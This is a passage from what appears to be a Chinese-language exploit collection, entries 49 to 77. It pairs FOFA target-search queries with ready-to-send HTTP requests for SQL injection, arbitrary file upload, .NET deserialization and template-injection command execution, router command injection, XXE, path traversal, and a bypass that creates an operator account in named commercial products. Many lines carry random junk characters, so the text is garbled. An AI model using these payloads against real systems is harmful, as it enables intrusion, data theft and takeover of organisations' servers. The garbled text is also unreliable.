POST /ajax/swfupload.php?DontCheckLogin=1&vname=file HTTP/1.1
7 ]3 h8 m* W+ N. J' vHost: your-ip
' {% l4 P& a/ N+ S$ P" nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
$ W; [; e1 d5 Z0 aAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
: a  v# i, X3 H8 z" U3 w: D: {Content-Type: multipart/form-data;boundary=----269520967239406871642430066855
8 }' ?% r0 S& J$ q) T- S/ U------269520967239406871642430066855
& B# B% Z% k  u! `% f. u1 {Content-Disposition: form-data; name="file"; filename="s.php"
1231
$ _$ l. @6 G0 nContent-Type: application/octet-stream
------269520967239406871642430066855
  K9 U$ K6 k3 k0 l; wContent-Disposition: form-data; name="upload"
upload
------269520967239406871642430066855--

, \* e) Y+ _8 e3 f* t
49. 用友U8 CRM系统uploadfile.php接口任意文件上传
FOFA：body="用友U8CRM"

POST /ajax/uploadfile.php?DontCheckLogin=1&vname=file HTTP/1.1
Host: x.x.x.x
4 x+ |' _1 {% C1 z& o+ b7 d* j( fUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
" s! H+ W) X& K2 P1 jContent-Length: 329
- d) x/ S8 \7 v2 f( B: i+ YAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
% y: J; y& b3 B: FAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
: U  G$ n( h( C. l: d  gContent-Type: multipart/form-data; boundary=---------------------------vvv3wdayqv3yppdxvn3w
1 }* p- c# y3 F% P; u
-----------------------------vvv3wdayqv3yppdxvn3w
' p1 V8 E0 {4 r$ |6 n- @Content-Disposition: form-data; name="file"; filename="%s.php "
Content-Type: application/octet-stream

wersqqmlumloqa
& Q6 c$ q( a# b- j-----------------------------vvv3wdayqv3yppdxvn3w
Content-Disposition: form-data; name="upload"

- w8 r& u3 V3 Z  ?. y/ Yupload
-----------------------------vvv3wdayqv3yppdxvn3w--
- C3 u# k  k* L$ Z9 G3 v

& i6 S- O1 G3 X% f8 [& Y' Khttp://x.x.x.x/tmpfile/updB3CB.tmp.php

50. QDocs Smart School 6.4.1 filterRecords SQL注入
FOFA：body="close closebtnmodal"
POST /course/filterRecords/ HTTP/1.1
5 l9 r* G, r. u/ j! ]Host: x.x.x.x
5 u# J8 a4 [* b# g8 B; t, L! hUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
& J7 P9 t! a0 B) S* |. lConnection: close
Content-Length: 224
7 {, l' J& K2 b2 M0 TAccept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
( c" F( V: Y/ J9 |Accept-Encoding: gzip
6 Z1 `  g) y. j" m/ R, R) F) ^
$ u. F+ Z. i5 e$ k5 x$ y3 vsearchdata[0][title]=&searchdata[0][searchfield]=1&searchdata[0][searchvalue]=1&searchdata[1][title]=1&searchdata[1][searchfield]=1=1 and extractvalue(1,concat(0x5e,(select md5(123456)),0x5e))%23&searchdata[1][searchvalue]=1
- Z; S- G* }8 E, ^8 }' N
" X5 Z4 U8 h; V; m/ {, w
51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
$ K1 ^5 F7 a1 v2 p( w  p4 oFOFA：app="云时空社会化商业ERP系统"
' h  q7 T# M  o& b% U( fGET /sys/user/validateLoginName?loginName=admin'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
Host: your-ip
' B5 H# k2 m5 c% O5 RUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
2 c1 h, j# ?2 X, _Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
* ?; Z% R: S0 I% ]3 s( F. _Accept-Encoding: gzip, deflate
: y/ J- E7 b( a, h% t2 D/ m2 fAccept-Language: zh-CN,zh;q=0.9
2 Q9 h4 a  e" q: A/ i( {2 zConnection: close
' K3 r, [5 H8 U# v8 B8 J
" d7 c/ ^4 e5 y/ ?/ w& l
0 z+ N% L3 S4 W/ R+ t52. 泛微E-Office json_common.php sql注入
1 ?5 m# b$ e& U- y6 r' p8 dFOFA：app="泛微-EOffice"
. _) Y' J$ m5 I9 U2 x$ |POST /building/json_common.php HTTP/1.1
Host: 192.168.86.128:8097
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
) T* ]/ F( C( z8 |  z+ yConnection: close
$ ?& R- {! s8 v9 ^$ }Content-Length: 87
Accept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

$ i! H: y! @: R% G7 i& ^. dtfs=city` where cityId =-1 /*!50000union*/ /*!50000select*/1,2,md5(102103122) ,4#|2|333

6 ]6 L5 E7 ]0 }
& [8 {/ r. ?. y2 m( H, k8 s3 Y53. 迪普 DPTech VPN Service 任意文件上传
1 X" }4 \1 |0 v6 B1 S4 X3 ]- |3 DFOFA：app="DPtech-SSLVPN"
2 M; N1 B  v& d3 R$ d; q/ h/..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
% n1 j9 `1 Z- x$ x4 Y+ }$ `

/ A% D9 q" l! y, g, D- p54. 畅捷通T+ getstorewarehousebystore 远程代码执行
2 A( v0 Z- E) }& d" U+ jFOFA：app="畅捷通-TPlus"
第一步，向目标发送数据包，执行命令，将指定字符串写入指定文件
1 ], E5 w5 b2 i! N- _  c4 l"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"


完整数据包
POST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore HTTP/1.1
) V8 [! }% \7 L( ~Host: x.x.x.x
# Z1 r% c! ?& m! ~/ w3 gUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F
Content-Length: 593
4 g' W) R1 U8 m* t* @' i& H% S* e
7 |, d* G, c! o$ u' p. [3 D) }{
"storeID":{
% T4 {4 q5 }, K/ K# B5 I- E1 E "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
"MethodName":"Start",
# h9 n, X, a8 d, ~$ g( z7 r" }  "ObjectInstance":{
   "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "StartInfo":{
   "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
0 N" C+ `7 x7 t, [; S6 W2 M    "FileName":"cmd",
7 p+ e/ [; L' e6 ~7 U    "Arguments":"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
    }
& s- \/ p, H5 F  I, n7 A$ S  }
$ v$ w% \( w+ f3 G  o0 G, n  }
}


第二步，访问如下url
) O0 L( S" W$ W/ S$ n7 O/tplus/.2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt
6 u# p5 u, ?$ c% |2 t  ~0 e8 M

0 X% T  i" p4 N# k1 X* M7 Y55. 畅捷通T+ getdecallusers信息泄露
FOFA：app="畅捷通-TPlus"
3 x& t. E. R, E8 m2 C# `" ^6 d第一步，通过
/tplus/ajaxpro/Ufida.T.SM.Login.UIP.LoginManager,Ufida.T.SM.Login.UIP.ashx?method=CheckPassword接口获取Cookie
$ k* W% p6 |" {" ^' O+ N第二步，利用获取到的Cookie请求
/tplus/sm/privilege/ajaxpro/Ufida.T.SM.UIP.Privilege.PreviligeControl,Ufida.T.SM.UIP.ashx?method=GetDecAllUsers

56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
FOFA: app="畅捷通-TPlus"
" m  ^* m: w7 V; Q7 FPOST /tplus/ajaxpro/Ufida.T.DI.UIP.RRA.RRATableController,Ufida.T.DI.UIP.ashx?method=GetStoreWarehouseByStore HTTP/1.1
/ Z( G& O* J+ ~$ l+ c% b, eHost: x.x.x.x
% L. Q; I" }& ^% s1 [& s7 n* dUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
7 R& T$ W! S7 Z4 j, m& UContent-Type: application/json
) L% c; t% [; V$ I! {( A; T
{
  "storeID":{
    "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
' T: _: M/ o" E5 l3 ?   "MethodName":"Start",
$ q- B1 ]; h5 P: r! P    "ObjectInstance":{
* p+ h* ^! d0 I9 R. |       "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
4 y- g  M; a8 K' W: h3 z5 ~: c        "StartInfo": {
           "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
2 |8 C7 ]3 b) ]' ^/ Z& s4 }9 ?           "FileName":"cmd", "Arguments":"/c ping 6qevyvmi.dnslog.pw"
' Y8 J; P) p$ Y6 G       }
    }
' ~1 _6 E+ c: ?# G& K7 P  }
, D: d+ m7 w. a9 T}
* W/ o1 t4 N) ^/ Y4 @( k

* f( w* w+ [; P6 ]4 m/ |57. 畅捷通T+ keyEdit.aspx SQL注入
FOFA：app="畅捷通-TPlus"
GET /tplus/UFAQD/keyEdit.aspx?KeyID=1%27%20and%201=(select%20@@version)%20--&preload=1 HTTP/1.1
Host: host
6 p$ [; {* m9 Z$ w5 h) h3 Y4 |User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
- I% g7 U3 v( [; x6 ]Accept-Encoding: gzip, deflate
Connection: close


3 n" A3 L* D6 O3 q8 f# P58. 畅捷通T+ KeyInfoList.aspx sql注入
) z. R* W  v% S- {FOFA：app="畅捷通-TPlus"
- {. |. A# }( Z  E. E3 B/ mGET /tplus/UFAQD/KeyInfoList.aspx?preload=1&zt=')AND+1+IN+(SELECT+sys.fn_varbintohexstr(hashbytes('MD5','123456')))--+ HTTP/1.1
9 G+ s' D' L4 c# C  y. CHost: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
3 P4 k) T  r+ w: E' K1 L9 tAccept-Encoding: gzip, deflate
Connection: close
# [5 g7 s# ^& I  b* ]3 j% w) O: h7 z' G
& J4 _1 q" s5 C
59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
7 l3 D5 l% t& x/ l5 e; d5 aFOFA: title="@XETUX" && title="XPOS" && body="BackEnd"
; x3 o5 P! i, V8 ^. z" sPOST /xc-one-pos/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
Host: 192.168.86.128:9090
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
. D- @. k4 ~. G* DConnection: close
. a$ m9 i+ W. r$ r) Q1 NContent-Length: 1669
Accept: */*
Accept-Language: en
( Q3 B! p2 {9 m5 s8 t+ \( {7 S* DContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

. s2 Y! w$ V' QPAYLOAD


60. 百卓Smart管理平台 importexport.php SQL注入
FOFA：title="Smart管理平台"
GET /importexport.php?sql=c2VsZWN0IDEsdXNlcigpLDM=&type=exportexcelbysql HTTP/1.1
Host:
/ ]  G( i, [1 s% X" N: fUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
3 O$ n' W2 k0 |# x* {$ k7 ]Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

8 y$ I) x  I2 j2 a' |4 n9 @
8 D, u) n! A& n$ E3 V2 y61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
FOFA: title="欢迎使用浙大恩特客户资源管理系统"
POST /entsoft_en/entereditor/jsp/fileupload.jsp?filename=8uxssX66eqrqtKObcVa0kid98xa.jsp HTTP/1.1
Host: x.x.x.x
8 J( q# X' u2 h( h) D& cUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
# `" f. |3 N% o0 j; ?1 gConnection: close
Content-Length: 27
Accept: */*
3 w$ L+ R% U$ j4 ^1 b$ N# e& `6 aAccept-Encoding: gzip, deflate
Accept-Language: en
Content-Type: application/x-www-form-urlencoded

9 l& `1 ?8 x# ^  o& C( U4 G7 G! S8uxssX66eqrqtKObcVa0kid98xa
' L+ B$ Z' v3 F& Z0 y7 d. j6 L( Z

62. IP-guard WebServer 远程命令执行
FOFA："IP-guard" && icon_hash="2030860561"
# \& L! g" V0 SGET /ipg/static/appr/lib/flexpaper/php/view.php?doc=11.jpg&format=swf&isSplit=true&page=||echo+"09kdujzKJDLinkQTLfGzMMKDJ23HJ"+>09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
Host: x.x.x.x
- X7 o: G9 Z% ~1 F0 F3 FUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36
6 I, }* E/ w# W2 B0 r+ L  mConnection: close
6 V: j# G& w& H! Q# J7 l) H* T5 AAccept: */*
Accept-Language: en
5 \) Z5 h* d! q  G' f: P1 CAccept-Encoding: gzip

8 [1 C1 f& S7 @# B! _
访问

GET /ipg/static/appr/lib/flexpaper/php/09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
2 k0 w8 i. W! N1 f7 b7 aHost: x.x.x.x

0 T6 n; \9 Z1 i/ h
63. IP-guard WebServer任意文件读取
% R8 \5 u1 S5 x( qIP-guard < 4.82.0609.0
FOFA：icon_hash="2030860561"
" T$ Y' [7 }5 p) VPOST /ipg/appr/MApplyList/downloadFile_client/getdatarecord HTTP/1.1
+ x5 y4 A! O; A1 H, f$ S  BHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
8 t! k3 _8 K% a9 AAccept-Encoding: gzip, deflate
; O, r* G$ T: W- S  Z9 GAccept-Language: zh-CN,zh;q=0.9
- w+ X) U* t# w, gConnection: close
5 s: U/ p" q5 F) o. \8 }Content-Type: application/x-www-form-urlencoded
9 J& I, x1 {% j7 c$ u- s- k
8 k5 o" S& Q6 r' c. |% ]( y* s4 Opath=..%2Fconfig.ini&filename=1&action=download&hidGuid=1v%0D%0A
  N9 y5 ~" d* ~2 S$ |
64. 捷诚管理信息系统CWSFinanceCommon SQL注入
FOFA：body="/Scripts/EnjoyMsg.js"
POST /EnjoyRMIS_WS/WS/APS/CWSFinanceCommon.asmx HTTP/1.1
Host: 192.168.86.128:9001
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
  {) q; ~4 ?0 t" {5 r. cConnection: close
Content-Length: 369
Accept: */*
7 W- P+ ~; r. d. V0 S4 l3 l* bAccept-Language: en
& R* q* P% Q6 K/ }Content-Type: text/xml; charset=utf-8
Accept-Encoding: gzip
2 u* Z8 n5 t/ l/ j' V& l
<?xml version="1.0" encoding="utf-8"?>
! \7 G5 o% {/ a* s; ^/ }" |<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
    <GetOSpById xmlns="http://tempuri.org/">
      <sId>1';waitfor delay '0:0:5'--+</sId>
    </GetOSpById>
  </soap:Body>
! ?& r/ r3 y8 G' Y- ]</soap:Envelope>
- J2 L, }; j  Z+ B: k
" q1 \9 T7 |6 ^! O4 U
65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
8 V) V) `, v$ v1 P7 [& e+ IFOFA：title="欢迎使用脸爱云 一脸通智慧管理平台"
# P7 n2 R) Z+ E2 o+ s, Y: u; h响应200即成功创建账号test123456/123456
POST /SystemMng.ashx HTTP/1.1
Host:
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept-Encoding: gzip, deflate
( q" ~) D, ?  }- @5 M( M% _* lAccept: */*
, `. T2 C0 z9 T. p1 z+ X4 b( L4 IConnection: close
Accept-Language: en
3 T) \- Q8 T* o: qContent-Length: 174
, u0 o' V! ?5 R* r+ E$ ^3 @
operatorName=test123456&operatorPwd=123456&operpassword=123456&operatorRole=00&visible_jh=%E8%AF%B7%E9%80%89%E6%8B%A9&visible_dorm=%E8%AF%B7%E9%80%89%E6%8B%A9&funcName=addOperators
/ R5 l3 |( Q# c  p
2 ?# m  v0 S. k7 x# l8 p1 _4 k/ o
; O/ @3 Z+ g  G/ G66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
$ E1 x; K  Z3 E& F2 Q6 ]
* m) F0 ?8 p1 L+ \- `GET /defaultroot/public/iWebOfficeSign/Template/SendFileCheckTemplateEdit.jsp?RecordID=1'%20UNION%20ALL%20SELECT%20sys.fn_sqlvarbasetostr(HashBytes(%27MD5%27,%27102103122%27))%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL-- HTTP/1.1
- _, j3 i' N; f/ _% z( eHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
% K& [4 r, @  V3 _  ~' w$ ZConnection: close
. @4 j$ e- n1 ]Accept: */*
Accept-Language: en
4 _6 A/ u  n% r7 ^: I( w. l: k, c! ^Accept-Encoding: gzip

" h9 O: T) b/ R. l" R9 \. E
第42,43行包含6cfe798ba8e5b85feb50164c59f4bec9字符串证明漏洞存在
: ?, y% A6 M6 f0 i! Q, s
/ ~8 h% [- l8 n! d- s67. 万户ezOFFICE wpsservlet任意文件上传
FOFA：app="万户网络-ezOFFICE"
newdocId和filename参数表示写入文件名称，dir参数表示写入文件的路径，fileType参数表示文件类型
; ]* \( k- ^8 k) sPOST /defaultroot/wpsservlet?option=saveNewFile&newdocId=apoxkq&dir=../platform/portal/layout/&fileType=.jsp HTTP/1.1
) N& y5 C1 {& a; Z0 rHost: x.x.x.x
# W* _7 L5 S  o# T- MUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Content-Length: 173
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
; y3 D0 Q( e  X, l0 ^3 N( c) s5 l* nConnection: close
. t: `8 v* u, Z6 E9 O; x$ |Content-Type: multipart/form-data; boundary=ufuadpxathqvxfqnuyuqaozvseiueerp
DNT: 1
1 n& @+ A. X  V5 n; ^Upgrade-Insecure-Requests: 1
% ~1 Y7 w9 L3 ]: J
7 S/ Q1 G2 w: V% S9 M0 i" Y$ Q--ufuadpxathqvxfqnuyuqaozvseiueerp
; d' `5 L* h( XContent-Disposition: form-data; name="NewFile"; filename="apoxkq.jsp"

<% out.print("sasdfghjkj");%>
5 F- r; X8 T* W& b/ P$ g--ufuadpxathqvxfqnuyuqaozvseiueerp--
& A) I6 G' ?( T: ^9 R/ a. |# k

文件回显路径为/defaultroot/platform/portal/layout/apoxkq.jsp
1 Q* [1 @) I' t9 q) Q
68. 万户ezOFFICE wf_printnum.jsp SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
GET /defaultroot/platform/bpm/work_flow/operate/wf_printnum.jsp;.js?recordId=1;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
+ [# Q. ~. B3 d0 CHost: {{host}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
Accept-Encoding: gzip, deflate
% ?2 R" x" b: f. q. fAccept-Language: zh-CN,zh;q=0.9
Connection: close


* H3 d, s& ?: e# O69. 万户 ezOFFICE contract_gd.jsp SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
1 f' E4 ^! Q- w! _$ {GET /defaultroot/modules/subsidiary/contract/contract_gd.jsp;.js?gd=1&gd_startUserCode=1%27%3Bwaitfor%20delay%20%270%3A0%3A5%27-- HTTP/1.1
Host: your-ip
8 V) B3 a' h" DUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
, u- k4 N- [! @Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
+ ^! Y% O9 }/ P
, K/ k. Q9 o( K7 e
70. 万户ezEIP success 命令执行
FOFA：app="万户网络-ezEIP"
POST /member/success.aspx HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
SID: dHlwZSBDOlxXaW5kb3dzXHdpbi5pbmk=
: Y, R" P9 q) [7 qContent-Type: application/x-www-form-urlencoded
: Y( V) n* W* A% D6 z1 zTYPE: C
Content-Length: 16702

  Y' E* [. L8 g- X9 _9 Z8 h( T__VIEWSTATE=PAYLOAD
9 G6 H5 o: h, B8 x' e* a

71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
FOFA：body="PM2项目管理系统BS版增强工具.zip"
5 T) o9 g9 _  q! [3 k6 s7 KGET /Global/Global_UserLogin.aspx?accId=1%27%3BWAITFOR+DELAY+%270%3A0%3A5%27--&loginCode&password&type HTTP/1.1
Host: x.x.x.xx.x.x.x
' [0 P' {. `; @) O: lUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
Connection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
% ^+ G: S  I3 m9 H- HAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  d' c' N* w8 q0 o0 Q% ]Upgrade-Insecure-Requests: 1
0 r$ q, R5 t1 b
8 A7 m! Y9 o$ _4 q' V
, |# B2 L7 P: u5 V9 k72. 致远OA getAjaxDataServlet XXE
FOFA：app="致远互联-OA"
/ F& t# G! }; L9 z& BPOST /seeyon/m-signature/RunSignature/run/getAjaxDataServlet HTTP/1.1
Host: 192.168.40.131:8099
User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Connection: close
Content-Length: 583
4 E# C3 U8 S) C8 W& n7 ^# eContent-Type: application/x-www-form-urlencoded
; v  ~0 J. g; v" T# `# WAccept-Encoding: gzip
9 c9 ^/ ]. H5 o+ P" B- `8 U
7 \4 ?' D4 g5 X" D( i* |8 hS=ajaxColManager&M=colDelLock&imgvalue=lr7V9+0XCEhZ5KUijesavRASMmpz%2FJcFgNqW4G2x63IPfOy%3DYudDQ1bnHT8BLtwokmb%2Fk&signwidth=4.0&signheight=4.0&xmlValue=%3C%3Fxml+version%3D%221.0%22%3F%3E%0D%0A%3C%21DOCTYPE+foo+%5B%0D%0A++%3C%21ELEMENT+foo+ANY+%3E%0D%0A++%3C%21ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%2Fc%3A%2Fwindows%2Fwin.ini%22+%3E%0D%0A%55D%3E%0D%0A%3CSignature%3E%3CField%3E%3Ca+Index%3D%22ProtectItem%22%3Etrue%3C%2Fa%3E%3Cb+Index%3D%22Caption%22%3Ecaption%3C%2Fb%3E%3Cc+Index%3D%22ID%22%3Eid%3C%2Fc%3E%3Cdd+Index%3D%22VALUE%22%3E%26xxe%3B%3C%2Fd%3E%3C%2FField%3E%3C%2FSignature%3E
* A; v, e( X2 V1 q" {" q
% O( J# Y3 E1 d  V" e9 ~2 b
73. GeoServer wms远程代码执行
; Y/ B* |! u( J$ Q% U* x4 CFOFA：icon_hash=”97540678”
' V' Y& a5 e" J# oPOST /geoserver/wms HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
9 G: p& k7 n* rContent-Length: 1981
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/xml
" P( r4 U' v3 `, ^SL-CE-SUID: 3

" F5 v8 q1 l" f( [, N, S. KPAYLOAD

2 Z. X+ Y- ^( ?
74. 致远M3-server 6_1sp1 反序列化RCE
FOFA：title="M3-Server"
; d& M/ \2 S. @2 C/ d0 \) Z  b9 XPAYLOAD

75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
FOFA：app="TELESQUARE-TLR-2005KSH"
GET /cgi-bin/admin.cgi?Command=setSyncTimeHost&time=`ifconfig>test28256.txt` HTTP/1.1
6 l* d8 e+ F3 {8 Y5 pHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
+ w; R; q) R& B5 B7 F) K8 i$ R$ I
* X$ q9 \/ M7 U" A0 M: _
, o! _  T, k6 r4 V: d( O- dGET /cgi-bin/test28256.txt HTTP/1.1
Host: x.x.x.x

( D, o& G4 M2 S7 K3 A
76. 新开普掌上校园服务管理平台service.action远程命令执行
8 p+ d) e5 V' I# g- H; n% bFOFA：title="掌上校园服务管理平台"
! V: I. ]" M$ L5 _" v9 D2 {POST /service_transport/service.action HTTP/1.1
6 E# Z9 N! _7 iHost: x.x.x.x
! s3 r6 h' E4 Z! k" r' ZUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
- N$ q* s7 v8 sConnection: close
; ?: i8 s" w; a0 H: `+ U: u$ GContent-Length: 211
/ H  i+ V3 {/ g* H' N1 l+ s0 AAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
3 p( [* F  E1 k; ]+ z. u# uAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
8 w( }& e7 o% V! jCookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
5 |8 z: z, q, f& F3 }# c) MUpgrade-Insecure-Requests: 1
, ~% N# x. L. Z, s5 B0 C- {/ L
{
4 V+ L8 H3 h0 E6 Q"command": "GetFZinfo",
$ ?: {/ D# A3 H8 u  "UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"
5 v/ C9 @' I- ?. p  ?new()>${ex(\"cmd /c echo 9d8ajikdujw8ejd9wjdfkfu8 >./webapps/ROOT/9d8ajikdujw8ejd9wjdfkfu8.txt\")}"
+ K0 {0 Y; B7 Q! ~& ?* w& r% G}
1 d) C$ w, h" ^; b

GET /9d8ajikdujw8ejd9wjdfkfu8.txt HTTP/1.1
0 W% U7 k6 q' D. @% u8 @Host: x.x.x.x

; ~& F5 l8 |1 @/ z+ f9 ^8 ~
, _3 g8 u  u( \, n: O7 V" `4 t
9 P+ G3 Y/ N2 N77. F22服装管理软件系统UploadHandler.ashx任意文件上传
FOFA：body="F22WEB登陆"
POST /CuteSoft_Client/UploadHandler.ashx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Connection: close
Content-Length: 433
& G& x! C/ F. X* R  SAccept: */*
Accept-Encoding: gzip, deflate
$ r$ r/ r6 @. j% [) d2 H3 [+ KAccept-Language: zh-CN,zh;q=0.9
